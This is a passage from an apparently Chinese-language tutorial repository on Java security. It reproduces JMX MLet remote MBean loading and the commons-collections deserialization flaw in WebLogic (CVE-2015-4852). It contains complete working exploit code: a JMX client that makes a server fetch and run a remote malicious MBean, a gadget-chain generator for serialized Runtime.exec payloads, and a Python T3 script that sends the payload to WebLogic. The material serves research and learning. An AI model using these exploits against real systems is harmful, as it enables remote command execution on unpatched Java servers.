InputStreamReader(process.getInputStream())); 130 | 131 | BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); 132 | 133 | 134 | 135 | String stdout_data = ""; 136 | 137 | String strtmp; 138 | 139 | while ((strtmp = stdInput.readLine()) != null) { 140 | 141 | stdout_data += strtmp + "\n"; 142 | 143 | } 144 | 145 | while ((strtmp = stdError.readLine()) != null) { 146 | 147 | stdout_data += strtmp + "\n"; 148 | 149 | } 150 | 151 | process.waitFor(); 152 | 153 | return stdout_data; 154 | 155 | } 156 | 157 | } 158 | ``` 159 | 160 | 我们将上述代码打包成jar包,在idea中打jar包参考:https://blog.csdn.net/nopotential/article/details/79018471 161 | 162 | 然后我们需要编写一个名为mlet的文件: 163 | 164 | ``` 165 | 166 | ``` 167 | 168 | 把mlet文件与刚刚创建的jar包放在同一Web目录下,我们这里可以直接用python2来简单搭建一个http server,运行如下命令就行: 169 | `python -m SimpleHTTPServer`,具体的百度一下吧 170 | 171 | 172 | 然后我们有了MBean,还需要一个MBeanServer吧,这次的MBean Server的实现方式与之前的差别不大,只是绑定的MBean是远程的而已,具体看下代码: 173 | 174 | ```java 175 | import javax.management.MBeanServer; 176 | import javax.management.ObjectName; 177 | import javax.management.loading.MLet; 178 | import javax.management.remote.JMXConnectorServer; 179 | import javax.management.remote.JMXConnectorServerFactory; 180 | import javax.management.remote.JMXServiceURL; 181 | import java.lang.management.ManagementFactory; 182 | import java.rmi.registry.LocateRegistry; 183 | import java.rmi.registry.Registry; 184 | 185 | public class RemoteMbean { 186 | 187 | 188 | 189 | public static void main(String[] args){ 190 | 191 | try{ 192 | 193 | 194 | 195 | MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); 196 | 197 | //--------------------------------------------- 198 | 199 | //remote mbean 200 | 201 | System.out.println("Register MLet bean..."); 202 | 203 | MLet mLet = new MLet(); 204 | 205 | ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet"); 206 | 207 | mBeanServer.registerMBean(mLet, objectNameMLet); 208 | 209 | //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet"); 210 | 211 | //----------------------------------------------------------------- 212 | 213 | //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()}); 214 | 215 | 216 | 217 | //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer 218 | 219 | Registry registry = LocateRegistry.createRegistry(1099); 220 | 221 | //构造JMXServiceURL 222 | 223 | JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); 224 | 225 | //创建JMXConnectorServer 226 | 227 | JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); 228 | 229 | //启动 230 | 231 | jmxConnectorServer.start(); 232 | 233 | System.out.println("JMXConnectorServer is running"); 234 | 235 | 236 | 237 | }catch (Exception e){ 238 | 239 | e.printStackTrace(); 240 | 241 | } 242 | 243 | } 244 | 245 | } 246 | ``` 247 | 248 | 可以看到注释掉中有一个方法getMBeansFromURL,这个方法就是绑定远程类的关键所在,我们可以把mlet的地址作为其参数,然后当调用这个方法的时候,就会远程加载mlet文件中指定的jar文件。这个方法不需要在代码里直接调用,我们一会可以在jconsole中调用。现在运行这个Server,然后依旧用jconsole连接Server: 249 | 250 | 调用MLet的getMBeansFromURL,参数就是mlet文件的地址 251 | 252 | ![](jmx/mlet.png) 253 | 254 | 然后你就会发现窗口里多了一个类,这个类就是远程的类了,我们可以执行他的runCmd方法弹个计算器: 255 | 256 | ![](jmx/calc.png) 257 | 258 | ### 控制jmx server端远程加载MBean 259 | 260 | 上面的demo是在jmx server本地实现的加载远程MBean,jmx危险之处就在于这一过程我们可以在客户端控制。也就是只要某个主机开启了jmx server端口,我们就可以通过自己编写代码或者使用现成的工具是server端加载远程的恶意类。 261 | 262 | 自己编写代码,代码同样引用别人的: 263 | 264 | ```java 265 | import javax.management.InstanceAlreadyExistsException; 266 | import javax.management.MBeanServerConnection; 267 | import javax.management.ObjectInstance; 268 | import javax.management.ObjectName; 269 | import javax.management.openmbean.SimpleType; 270 | import javax.management.remote.JMXConnector; 271 | import javax.management.remote.JMXConnectorFactory; 272 | import javax.management.remote.JMXServiceURL; 273 | import java.net.InetAddress; 274 | import java.util.HashSet; 275 | import java.util.Iterator; 276 | 277 | 278 | public class Exp { 279 | public static void main(String[] args){ 280 | connectAndCmd("localhost", "1099", "calc.exe"); 281 | } 282 | 283 | static void connectAndCmd(String serverName, String port, String command){ 284 | 285 | try{ 286 | 287 | JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); 288 | 289 | // System.out.println("URL: " + jmxServiceURL + ", connecting"); 290 | 291 | JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null); 292 | 293 | // System.out.println("Connected: " + jmxConnector.getConnectionId()); 294 | 295 | MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); 296 | 297 | ObjectInstance evil_bean = null; 298 | 299 | // try{ 300 | // 301 | // evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME)); 302 | // 303 | // }catch (Exception e){ 304 | // 305 | // evil_bean = null; 306 | // 307 | // } 308 | 309 | if(evil_bean == null){ 310 | 311 | System.out.println("Trying to create bean..."); 312 | 313 | ObjectInstance evilObject = null; 314 | 315 | try{ 316 | 317 | evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null); 318 | 319 | }catch (InstanceAlreadyExistsException e){ 320 | 321 | evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); 322 | 323 | } 324 | 325 | System.out.println("Load " + evilObject.getClassName()); 326 | 327 | //调用getMBeansFromURL从远程服务器获取 MBean 328 | 329 | //加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。 330 | 331 | //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。 332 | 333 | Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL", 334 | 335 | new Object[] {String.format("http://127.0.0.1:8000/mlet", InetAddress.getLocalHost().getHostAddress()) }, 336 | 337 | new String[] {String.class.getName()} 338 | 339 | ); 340 | 341 | HashSet hashSet = (HashSet)res; 342 | 343 | Iterator iterator = hashSet.iterator(); 344 | 345 | Object nextObject = iterator.next(); 346 | 347 | if(nextObject instanceof Exception){ 348 | 349 | throw ((Exception)nextObject); 350 | 351 | } 352 | 353 | evil_bean = ((ObjectInstance)nextObject); 354 | 355 | } 356 | 357 | //调用恶意 MBean 中用于执行命令的函数 358 | 359 | System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName()); 360 | 361 | System.out.println("Calling runCommand with: " + command); 362 | 363 | Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()}); 364 | 365 | System.out.println("Result: " + result); 366 | 367 | }catch (Exception e){ 368 | 369 | e.printStackTrace(); 370 | 371 | } 372 | 373 | } 374 | 375 | } 376 | 377 | ``` 378 | 379 | 当然,用现成的工具他不香吗?个人觉得这个jython版的mjet挺好用的: https://github.com/mogwailabs/mjet 380 | 381 | ### 案例 382 | 383 | 这是最近(19年)爆出的一个apache solr的jmx配置错误导致的漏洞(其实就是默认开启了jmx端口) 384 | 385 | 这篇文章我放在另外一个项目里了,只是简单的复现: 386 | 387 | https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409 388 | 389 | ### 其他 390 | 391 | jmx的安全问题不复杂,主要就是对外开放了jmx端口,所以,就这么简单带过吧,see you~ 392 | 393 | -------------------------------------------------------------------------------- /3. apache commons-collections中的反序列化.md: -------------------------------------------------------------------------------- 1 | ### 0x01 前言 2 | 3 | 前面,我们了解了java的序列化机制,也知道在什么情况下会出现漏洞,为了对反序列化漏洞有个更直观的认识,这里就来说一说存在于apache commons-collections.jar中的一条pop链,要知道这个类库使用广泛,所以很多大型的应用也存在着这个漏洞,我这里就以weblogic cve-2015-4852来说说反序列化漏洞的具体利用方法。 4 | 5 | 在复现分析cve-2015-4852的过程中,踩了挺多坑的,网上基本没有复现cve-2015-4852的,都是一句“没有任何防御措施,可以直接拿着ysoserial的payload打”.....但是我在复现的过程中发现Weblogic运行在jdk7与jdk8下是不一样的,在jdk8下有些ysoserial中的payload不能正常使用,例如CommonsCollections1,而且我复现的weblogic版本是weblogic 10.3.6,它使用的commons-collections版本为3.2.0,ysoserial中的很多payload都是3.1的,没有仔细去研究这个版本差异是不是导致反序列化失败的原因之一,只是顺带一提 6 | 7 | ### 0x02 复现 8 | 9 | 复现环境: 10 | - weblogic 10.3.6 11 | - jdk 1.7 12 | 13 | 由于ysoserial上的payloads不太好用,我只有照猫画虎自己写一个代码生成paylod 14 | java poc: 15 | 16 | ```java 17 | import org.apache.commons.collections.*; 18 | import org.apache.commons.collections.functors.ChainedTransformer; 19 | import org.apache.commons.collections.functors.ConstantTransformer; 20 | import org.apache.commons.collections.functors.InvokerTransformer; 21 | import org.apache.commons.collections.map.TransformedMap; 22 | 23 | import java.io.*; 24 | import java.lang.annotation.Retention; 25 | import java.lang.reflect.Constructor; 26 | import java.util.HashMap; 27 | import java.util.Map; 28 | 29 | 30 | public class POC2 { 31 | public static void main(String[] args) throws Exception{ 32 | Transformer[] transformers_exec = new Transformer[]{ 33 | new ConstantTransformer(Runtime.class), 34 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 35 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 36 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"}) 37 | }; 38 | 39 | Transformer chain = new ChainedTransformer(transformers_exec); 40 | 41 | HashMap innerMap = new HashMap(); 42 | innerMap.put("value","asdf"); 43 | 44 | Map outerMap = TransformedMap.decorate(innerMap,null,chain); 45 | 46 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 47 | Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); 48 | cons.setAccessible(true); 49 | 50 | Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap); 51 | FileOutputStream fos = new FileOutputStream("./poc.ser"); 52 | ObjectOutputStream os = new ObjectOutputStream(fos); 53 | os.writeObject(ins); 54 | // ByteArrayOutputStream baos = new ByteArrayOutputStream(); 55 | // ObjectOutputStream oos = new ObjectOutputStream(baos); 56 | // oos.writeObject(ins); 57 | // oos.flush(); 58 | // oos.close(); 59 | // 60 | // ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 61 | // ObjectInputStream ois = new ObjectInputStream(bais); 62 | // Object obj = (Object) ois.readObject(); 63 | } 64 | } 65 | ``` 66 | 67 | 运行这个poc之前需要commons-collections类库,否则会提示很多类找不到,由于我是在本地复现,可以直接在idea中将weblgoic中的`com.bea.core.apache.commons.collections_3.2.0.jar`加入到lib中,具体操作参考: 68 | 69 | https://blog.csdn.net/he_and/article/details/89843004 70 | 71 | 然后运行该poc,会在当前目录下生成poc.ser文件,这个文件中就存放着序列化后的payload,现在payload有了,我们还需要发送给weblogic,weblogic有一个t3协议,这个协议依赖于序列化与反序列化机制,所以,我们只要按照t3协议的格式,把payload发送到weblogic,weblogic就会反序列化我们的恶意payload,从而执行指定的命令,t3协议脚本: 72 | 73 | ```python 74 | #!/usr/bin/python 75 | import socket 76 | import sys 77 | import struct 78 | 79 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | 81 | server_address = (sys.argv[1], int(sys.argv[2])) 82 | print 'connecting to %s port %s' % server_address 83 | sock.connect(server_address) 84 | 85 | # Send headers 86 | headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' 87 | print 'sending "%s"' % headers 88 | sock.sendall(headers) 89 | 90 | data = sock.recv(1024) 91 | print >>sys.stderr, 'received "%s"' % data 92 | 93 | payloadObj = open(sys.argv[3],'rb').read() 94 | 95 | payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' 96 | payload=payload+payloadObj 97 | payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' 98 | 99 | # adjust header for appropriate message length 100 | payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) 101 | 102 | print 'sending payload...' 103 | sock.send(payload) 104 | 105 | ``` 106 | 107 | 上面的脚本是py2版本的,python3需要稍微改动一下。执行以下命令发送payload: 108 | 109 | `python weblogic-t3.py ip port 存放payload的文件` 110 | 111 | 成功弹出wireshark 112 | 113 | ![](ser_example1/wireshark.png) 114 | 115 | 进一步了解t3协议可以参考我的另一篇文章: 116 | 117 | https://blog.csdn.net/he_and/article/details/97924679 118 | 119 | ### 0x03 commons-collections gadgets分析 120 | 121 | 上面的复现使用的payload经过反序列化过后会执行:`Runtime.getRuntime().exec("wireshark")` 122 | 123 | 具体是怎么做到的呢?我们不妨根据给出的poc来摸索一下这条利用链的挖掘过程,先把目光放到InvokerTransformer这个类上,注意这个类的transform方法: 124 | 125 | ```java 126 | public Object transform(Object input) { 127 | if (input == null) { 128 | return null; 129 | } else { 130 | try { 131 | Class cls = input.getClass(); 132 | Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 133 | return method.invoke(input, this.iArgs); 134 | } catch (NoSuchMethodException var5) { 135 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 136 | } catch (IllegalAccessException var6) { 137 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 138 | } catch (InvocationTargetException var7) { 139 | throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 140 | } 141 | } 142 | } 143 | ``` 144 | 145 | 有了前文的基础,我们可以很容以看出来这里用到了反射机制,并且代码和我之前的demo很相似,他们都是执行了某个对象的某个方法,再看看这个类的构造函数: 146 | ```java 147 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 148 | this.iMethodName = methodName; 149 | this.iParamTypes = paramTypes; 150 | this.iArgs = args; 151 | } 152 | ``` 153 | `this.iMethodName, this.iParamTypes,this.iMethodName, this.iParamTypes`都是可控的,那么,现在只要保证input可控,我们就可以执行任意对象的任意方法了!但是这样我们还是不能执行系统命令的,因为执行系统命令的方式是:`Runtime.getRuntime().exec("xxxx")` 154 | 155 | 所以需要一个执行链才能够满足我们的需求(而不单单是执行某个对象的某个方法),而正好commons-collections类库真有这么一个类可以达到这个目的,这个类就是ChainedTransformer,该类中也有一个transform方法: 156 | 157 | ```java 158 | //构造函数 159 | public ChainedTransformer(Transformer[] transformers) { 160 | this.iTransformers = transformers; 161 | } 162 | 163 | public Object transform(Object object) { 164 | for(int i = 0; i < this.iTransformers.length; ++i) { 165 | object = this.iTransformers[i].transform(object); 166 | } 167 | 168 | return object; 169 | } 170 | ``` 171 | 172 | 可以看到这个类的构造函数接收一个Transformer类型的数组,并且在transform方法中会遍历这个数组,并调用数组中的每一个成员的transform方法,最重要的一点是上一个成员调用transform方法返回的对象会作为下一个成员的transform方法的参数,这就是一个链式调用呀! 173 | 174 | 但是你以为只靠InvokerTransformer组成的数组就可以完成整个攻击链了吗,是不行的,因为这个调用链的起点是Runtime,无论怎么构造InvokerTransformer,我们都无法得到利用链开端的这个Runtime,但是巧的是,又有这么一个类——ConstantTransformer,我们看看他的构造函数以及transform方法: 175 | 176 | ```java 177 | public ConstantTransformer(Object constantToReturn) { 178 | this.iConstant = constantToReturn; 179 | } 180 | 181 | public Object transform(Object input) { 182 | return this.iConstant; 183 | } 184 | ``` 185 | 186 | 他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。 187 | 188 | 可能大家看到这里已经有点晕了,感觉满脑子都是xxxtransformer。所以,看到这里先暂停一下,不着急往下看,我们来理一理这几个transfromer。其实一共就三个transformer,而且这些xxxtransformer都是**实现了TransFormer这个接口**的,所以他们都有一个transform方法: 189 | 190 | |InvokerTransformer|ConstantTransformer|ChainedTransformer| 191 | |:-:|:-:|:-:| 192 | |构造函数接受三个参数|构造函数接受一个参数|构造函数接受一个TransFormer类型的数组| 193 | |transform方法通过反射可以执行一个对象的任意方法|transform返回构造函数传入的参数|transform方法执行构造函数传入数组的每一个成员的transform方法| 194 | 195 | 有了上面的基础,我们来把这几个transformer组合起来构造一个执行链,代码如下: 196 | 197 | ```java 198 | 199 | Transformer[] transformers_exec = new Transformer[]{ 200 | new ConstantTransformer(Runtime.class), 201 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 202 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 203 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"}) 204 | }; 205 | 206 | Transformer chain = new ChainedTransformer(transformers_exec); 207 | chain.transform('1'); 208 | ``` 209 | 210 | 就是这么简单,最后那个transform()随便传一个什么进去都行,成功弹出wireshark: 211 | 212 | ![](ser_example1/transformer.png) 213 | 214 | 到这里,整个漏洞的核心已经明了了,现在我们得想想在真实的应用中怎么触发ChainedTransformer的transform方法,按照正常的操作,我们应该以transform(为关键字全局搜索,但是我们这里是反编译得到的源码,在idea中好像不支持全局搜索.class文件中的字符串,所以,有点头大,但是也不影响,毕竟网上已经有很多分析文章了,我们可知有两个类中使用了可疑的transform方法:LazyMap、TransformedMap。 215 | 216 | ### TransformedMap利用链 217 | 218 | 我们一个个来分析,先说说TransformedMap中,一共有三处函数使用了transform方法 219 | 220 | ![](ser_example1/transformedmap.png) 221 | 222 | 当然,光是使用了transform这个方法还不行,我们还需要确认是使用了ChainedTransformer.transform(),我们看一下this.keyTransformer的值: 223 | 224 | ![](ser_example1/transformedmap2.png) 225 | 226 | 可以看到this.keyTransformer的类型是Transformer,而且是我们可以控制的,所以,在构造poc的时候只需要将他的值赋为我们精心构造的ChainedTransformer就行,按照这个思路,我们继续构造poc,现在的poc可以用TransformedMap的三个方法transformKey、transformValue、checkSetValue触发transform方法,但是我在构造的时候发现这三个方法的访问权限都是protected,也就是不能直接被外部访问,我们只有迂回一下了,TransformedMap类中一共有四个方法访问权限是public:两个构造函数,如下: 227 | 228 | ```java 229 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 230 | return new TransformedMap(map, keyTransformer, valueTransformer); 231 | } 232 | 233 | public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) { 234 | TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer); 235 | if (map.size() > 0) { 236 | Map transformed = decorated.transformMap(map); 237 | decorated.clear(); 238 | decorated.getMap().putAll(transformed); 239 | } 240 | 241 | return decorated; 242 | } 243 | ``` 244 | 另外两个如下: 245 | ```java 246 | public Object put(Object key, Object value) { 247 | key = this.transformKey(key); 248 | value = this.transformValue(value); 249 | return this.getMap().put(key, value); 250 | } 251 | 252 | public void putAll(Map mapToCopy) { 253 | mapToCopy = this.transformMap(mapToCopy); 254 | this.getMap().putAll(mapToCopy); 255 | } 256 | ``` 257 | 258 | 可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以,我们可以通过调用实例化一个TransforomedMap对象,然后调用对象的put方法,从而执行任意命令,此时的半成品poc如下: 259 | 260 | ```java 261 | import org.apache.commons.collections.Transformer; 262 | import org.apache.commons.collections.functors.ChainedTransformer; 263 | import org.apache.commons.collections.functors.ConstantTransformer; 264 | import org.apache.commons.collections.functors.InvokerTransformer; 265 | import org.apache.commons.collections.map.TransformedMap; 266 | 267 | import java.util.HashMap; 268 | import java.util.Map; 269 | 270 | public class POC3 { 271 | public static void main(String[] args) throws Exception{ 272 | Transformer[] transformers_exec = new Transformer[]{ 273 | new ConstantTransformer(Runtime.class), 274 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), 275 | new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), 276 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"}) 277 | }; 278 | 279 | Transformer chain = new ChainedTransformer(transformers_exec); 280 | 281 | HashMap innerMap = new HashMap(); 282 | innerMap.put("value","asdf"); 283 | 284 | Map outerMap = TransformedMap.decorate(innerMap,null,chain); 285 | outerMap.put("name","axin"); 286 | } 287 | } 288 | ``` 289 | 运行poc,成功弹出wireshark 290 | 291 | ![](ser_example1/poc2.png) 292 | 293 | 现在倒是找到了能够触发transform()的地方了,但是这还是不能在反序列化的时候自动触发呀,我们都知道反序列化只会自动触发函数readObject(),所以,接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等。 294 | 295 | 到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKey、transformValue、checkSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。 296 | 297 | 在接着往下看之前先来看两个个小知识点: 298 | 1. TransformedMap是Map类型, 299 | 300 | 2. TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法(我想,这个也是漏洞作者在挖掘过程中按照我上面提到的那两种策略摸索出来的,而不是他一开始就知道...由于idea不能全局搜索反编译文件中的任意字符串,我也就不能轻松的逆向分析复现出作者的挖掘过程,所以就直接把结论放在这里,然后一会正向分析为什么会自动调用checkSetValue方法)。 301 | 302 | 303 | > 上面提到了entryset, 关于Map类型的entrySet()参考:https://blog.csdn.net/weixin_42956945/article/details/81637843 304 | 305 | 